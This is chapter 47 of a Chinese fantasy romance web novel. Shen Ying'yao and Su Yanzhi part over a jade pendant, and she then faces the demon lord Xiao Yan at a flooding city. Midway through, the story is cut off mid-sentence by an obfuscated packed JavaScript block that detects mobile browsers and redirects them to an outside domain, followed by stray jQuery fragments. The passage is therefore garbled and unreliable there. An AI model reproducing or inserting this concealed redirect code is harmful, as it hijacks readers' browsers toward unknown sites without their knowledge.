47. 恶战

    “什么?”沈罂爻完全没有联想到他会这么说,一时间怔住了。


    “罂爻,不管发生什么,至少……我会一直,一直在你身旁。”


    “所以……你不要说‘天塌了,自己一个人顶着’这种话,既然山雨欲来,那我们一起顶着好了。”


    “我……”沈罂爻被苏言之一番肺腑之言乱了方寸,一时间竟不知从何说起。


    “我……”


    “你怎么了?”苏言之见她仿佛脑子宕机的样子,脸上涌现出疑惑的神色。


    “我突然忘记我要讲什么了。”沈罂爻尴尬一笑。


    “没关系,想起来的时候再说,以后有的是时间说,不急于这一时的。”苏言之莞尔,忍不住朝她挪了一小步。


    “可是,是一件对你很重要的事,早就应该告诉你了,只不过我记性太差,之前一直忘记,这会儿,又让我给忘记了。”沈罂爻上一秒觉得有些尴尬,下一秒就有些着急了。


    “到底是什么来着?”


    “罂……”


    “哎呀,你不要打断我!”沈罂爻拍了下苏言之意图上前的小手。


    苏言之盯着被沈罂爻拍打的那一片手背,眨了眨眼睛。


    “噢噢我想起来了!!”沈罂爻兴奋地睁大眼睛。


    苏言之兀自沉溺,直到被沈罂爻激动之下,抓住双臂的衣物才回过神来。


    “什么?”


    “当当当当!看看,这是什么东西!”沈罂爻言笑晏晏,从掌间翻出一只细腻润泽的玉饰。


    在沈罂爻的掌心里,躺着一枚云烟色玉环,环下勾着个状似芍药的坠子,小巧玲珑,做工精致。


    “这是什么东西?”苏言之仔细看了半晌,也没看出有什么稀奇的。


    “你没见过吗?这是你阿娘离开时留下的,当时你刚逼出忘忧刺,状况不是很好,我便先替你收着了,这应当是你阿娘唯一留给你的念想,拖到今日真是不好意思,现在呢正式物归原主!”


    沈罂爻抓过了苏言之的手,小心翼翼地将清凉润泽的玉坠放在他手中,而后轻轻合拢他的手指,以防滑落。


    沈罂爻凉丝丝的指尖缓缓划过苏言之的手指,勾得他心底痒痒的,一阵酥麻从手臂蔓延到额头。


    “你怎么了?”沈罂爻察觉他神色有些不自然,以为他哪里不舒服。


    “没,没事。”苏言之连忙收回手,悄悄背在身后。


    “你怎么突然想起来要把这个还给我,等锦鳞城的事结了,再给我不好吗?”


    苏言之别过头,有意避开她的眼神,话从口出,他似乎猛然间意识到了什么。


    “你为什么突然要把这个还给我?”苏言之脸上那些许的不自然转瞬即逝,他回过头凝视沈罂爻,语气坚定,非要一个回答不可。


    “啊?没有,我不是怕后边又忘了嘛。”沈罂爻不自觉地叉起腰,哈哈一笑看着他。


    “本来就拖了很久不是……”


    这次换沈罂爻偏过头不看他了。


    “你是怕忘了还,还是怕还不上?”苏言之沉声道。


    “我……”沈罂爻抬头看着灰暗的天空,心虚地说道:“你在说什么啊,我当然是怕忘记还嘛,你又不是不知道,我记性不太好……难不成还是故意不给你不成?我可没那么小气。”


    “既然如此,索性继续忘下去就好了。”苏言之不慌不忙地把背在身后的手收回来。


    沈罂爻:”你说什么?”


    苏言之抓过她的手,将玉坠放在她手心,动作一如沈罂爻方才还给他一般。


    “你这是为何?给我做什么?”沈罂爻想要再还回去。


    谁知苏言之塞进她手心后,表情严肃,双手举起,后退一步,“我不要。”


    “若你真想还,就等锦鳞城的事尘埃落定后,再正式交给我,这次,很抱歉我不能接受。”


    闻言,沈罂爻不再坚持还给他了,她神色淡然,心知苏言之已经看出了她的真实意图。


    “你可想好了,这次不还给你,万一之后我还不上了,你可别怪我……”沈罂爻凝视着苏言之,嘴角挤出一丝笑容。


    “沈罂爻,这是我阿娘留给我在世上唯一的念想,你一定要安然无恙地把它带回来,不可以说还不上,回不来这样的话,”苏言之与沈罂爻隔着一段距离,语气坚定,口吻稍显命令。


    而后,他语气又软了下来,神色忧切,低声同她讲:“求你了。”


    沈罂爻唇角微勾,双手捧着玉坠,将丝丝清凉渐渐捂热在手心,她双手收拢抵在胸口。


    “我会的。”


    兵分两路,苏言之快马加鞭御剑飞行,向着毓华门而去,而沈罂爻则与海云雾一起下山护城。


    过了一晚,天没有亮,昏黑一片。


    倾盆大雨与猎猎狂风一前一后席卷了整座锦鳞城,时而苍黄时而漆黑的云层变化莫测,厚厚一层,压在众人头顶,叫人喘不过气。


    周边的群山在暴雨的洗礼下,混着雨水竞相崩塌滚落,向着山下繁华的城市而去。


    百姓争相逃窜,忽闻城东传来水流呼啸奔涌之声。


    只见高百丈的洪流水幕越过重山,来到众人面前,洪水如同一只深渊巨兽咆哮而来,试图一口吞下整座城。


    “救命啊!!!洪水来啦!!”


    “太奇怪了,锦鳞城附近都是山,这海啸是怎么出现的!!!”


    “你们看,城楼上,好像有人,还没打伞诶。”


    “你别管了,赶紧逃吧。”


    百姓都朝着城西逃,一队身手矫健的白衣身影逆着人流向城东奔去。


    “大家不要乱,城西已经搭建了安置处,可以暂时抵挡住洪水,大家赶紧去避一避吧!”


    秣清是这队人的领头人,他临危不乱,指挥着百姓疏散向安全的地方逃。


    “大家离水远一点,水中有东西!”


    雨声太大了,秣清的声音极其有限,仍旧有些人将他的话置若罔闻,向别的方向狂奔而去。


    “你们回来!”秣清扯着嗓子喊道,仍旧没有换来那些人一个回头的眼神。


    一道紫衣人影儿迎着疾风骤雨,从众人上空飞驰而过,她翻手拈作兰花掌,淡紫色的灵气勾住不听指挥的几人的腰部。


    “秣清,带着他们赶紧走,这里交给我们。”


    沈罂爻在房顶的飞檐驻足半晌,她掌间结印,空中飞扬的雨线瞬间停滞,而后,她双臂一展,紫色的流光从她身上溢出,平息了这场下不尽的大雨。


    “沈罂爻?什么你们?我师兄呢?!”秣清见苏言之不在她身边,立刻急了。


    “他回毓华门了,按我说的去做,带着百姓赶紧逃,逃得越远越好,快!”


    沈罂爻从未对他如此疾言厉色过,往日她总是悠哉悠哉,万事浑然不惧的逍遥样。


    秣清心知出大事了,当下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798330|153955||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没在多说一句,闷声带着众人快步离开了。


    锦书不知何时,从暗处出现,悄悄站在秣清身后,混在仓惶的人群中。


    她与沈罂爻对视一瞬,表情复杂,欲言又止,心知多说无益,最后也只能跟着众人一同去避难了。


    等众人一走,空中又开始淅淅沥沥飘小雨。


    “我们走。”


    沈罂爻同海云雾虚幻的影子,凌空而起,飞身至锦鳞城东门城楼。


    半晌过后,一紫衣身影凛凛屹立城楼之上,沈罂爻仰头目视着云层中积少成多,翻滚嚎叫的邪祟。


    百丈高的水幕裹挟密密麻麻的黑鱼怪,打上门来。


    眼见着大水汹涌,马上冲击城门,沈罂爻立即解下腰间配挂的白羽珍珠腰链,她指尖凝光,口中吟诀,将白羽珍珠腰链抛掷至锦鳞城上空,腰链闪烁着金色光芒盘旋而起,由小变大,化作了一张天罗地网牢牢罩住了锦鳞城。


    以往沈罂爻都是用白羽禁锢困杀什么妖魔,今日却变成了庇护一城的铜墙铁壁。


    百姓浑然不知,只能看见空中云层下,闪烁些光华粼粼的纹路。


    “你用白羽禁锢护住了这一城的百姓,却将自己抛之于外,是有信心,可以诛杀这么多食善而肥的黑鱼怪吗?”


    百丈水幕前,逐渐显露出一个身着暗纹黑袍的男子,男子额前碎发蓬松,鬓角长发卷曲,双目漆黑而深邃,是个极具野性与侵略感的俊美长相。


    只不过鬓角长发掩映下,他的眼尾有一道深深的疤痕。


    一见此人,沈罂爻冷峻的面容逐渐勾起一抹轻蔑的笑意。


    海云雾此刻已经不见实体,有的只是一道虚影。她依在沈罂爻身边,似乎有些惧怕萧衍,“罂爻,这个人是谁啊?你认识他?”


    “我还当是谁能搞出这么大阵仗,原来,是魔族的大尊主萧衍呀,千年不见,大尊主还记得我啊,荣幸之至。”沈罂爻敷衍地对他拱手,却不与他对视。


    “别怕,一个手下败将而已,当年他们四个都耐我不何,今日又当如何?”沈罂爻高声道,在奔涌的水声中显得格外清晰。


    “呵,危月燕,许久不见,你还是如何大言不惭,狂妄至极呢?”萧衍咬牙切齿地看着她,脸上笑意不减反增。


    “今时不同往日,我将黑鱼怪放任于每道水系,锦鳞城凡人必死无疑,又有倾天水幕力压,你以为你还能像以前一样大获全胜吗?”


    萧衍一道与她叙旧,同时悄悄将目光朝向了被洪水冲垮的房屋那边。


    海云雾背靠沈罂爻,闭目凝神,眉头微蹙,掌间结印,周身散发出水蓝色的灵气。


    “当然可以,这次,我会像杀了你的两个得力干将一样,彻底掐灭你。”沈罂爻眉头挑了挑,挑衅十足地看着他。


    “我还以为洪春来这样一个碌碌无为烂泥一般的人怎么会走了狗屎运,突然学会了什么绝妙饲鱼之法,原来是你这该千刀万剐的魔族余孽搞出来的祸事。”


    “这么说,东临山那位谪仙人就是你咯?真是好大的脸,还谪仙人?分明就是一个大败而逃的魔物。”


    “罂爻,你疯了吗?少说两句吧,万一把他惹生气了怎么办。”海云雾谨慎地靠在她背后。


    沈罂爻指着萧衍鼻子狂骂一通,就差把他底裤扒了。


    萧衍火冒三丈地指着她,“你————”


    “好,既然你找死,那我也没什么好说的了。”